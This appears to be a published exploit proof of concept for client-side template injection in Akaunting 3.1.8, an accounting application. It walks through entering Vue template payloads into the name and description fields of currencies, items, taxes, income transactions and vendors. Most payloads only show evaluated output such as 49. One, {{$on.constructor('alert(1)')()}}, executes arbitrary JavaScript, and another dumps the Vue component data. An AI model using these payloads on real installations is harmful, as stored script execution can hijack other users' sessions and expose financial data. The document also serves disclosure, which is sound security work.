Akaunting 3.1.8 Client-Side Template Injection

`# Exploit Title: Akaunting 3.1.8 - Client Side Template Injection CSTI  
# Exploit Author: tmrswrr  
# Date: 30/05/2024  
# Vendor: https://akaunting.com/forum  
# Software Link: https://akaunting.com/apps/crm  
# Vulnerable Version(s): 3.1.8  
  
  
1 ) Login with admin cred and go to : Currencies > New Currency  
https://127.0.0.1/Akaunting/1/settings/currencies  
2 ) Write SSTI payload : {{ Object.keys(this) }} Name field   
3 ) Save it   
4 ) You will be see result :   
"_uid", "_isVue",  
"__v_skip", "_scope",  
"$options", "_renderProxy",  
"_self", "$parent",  
"$root", "$children",  
"$refs",  
  
> {{ this.$root.$data }}  
> "form": {},  
"bulk_action": {  
"path": "currencies",  
"count": "",  
"value": "*",  
"message": "",  
"type": "",  
"show": false,  
"modal": false,  
"loading": false,  
"selected": [],  
  
> {{ Object.keys(this._self) }}  
> "_uid",  
"_isVue",  
"__v_skip",  
"_scope",  
"$options",  
"_renderProxy",  
"_self",  
"$parent",  
"$root",  
"$children",  
"$refs",  
  
  
  
> {{$on.constructor('alert(1)')()}}  
> You will be see alert box  
  
=======================================================================================  
  
1 ) Login with admin cred and go to : Items > New Item  
https://127.0.0.1/Akaunting/1/common/items  
2 ) Write SSTI payload : {{7*7}} Name field , write Sale and Purchase Price random numbers  
3 ) Save it   
4 ) You will be see result :   
49  
  
  
====================================================================================  
  
1 ) Login with admin cred and go to :Settings > Taxes > New Tax  
https://127.0.0.1/Akaunting/1/settings/taxes/1/edit  
2 ) Write SSTI payload : {{7*7}} Name field , write Sale and Purchase Price random numbers  
3 ) Save it   
4 ) You will be see result :   
49  
> {{'a'.toUpperCase()}}  
> A  
> {{'a'.concat('b')}}  
> ab  
====================================================================================  
  
  
1 ) Login with admin cred and go to : Banking > Transactions > New Income  
https://127.0.0.1/Akaunting/1/banking/transactions/create?type=income  
2 ) Write SSTI payload : {{7*7}} Description field  
3 ) Save it   
4 ) You will be see result :   
49  
> {{'a'.toUpperCase()}}  
> A  
> {{'a'.concat('b')}}  
> ab  
  
=======================================================================================  
  
1 ) Login with admin cred  
https://127.0.0.1/Akaunting/1/purchases/vendors/1/edit  
2 ) Write SSTI payload : {{7*7}} Name field  
3 ) Save it   
4 ) You will be see result :   
49  
> {{'a'.toUpperCase()}}  
> A  
> {{'a'.concat('b')}}  
> ab  
> {{self}}  
>   
  
  
  
  
  
  
`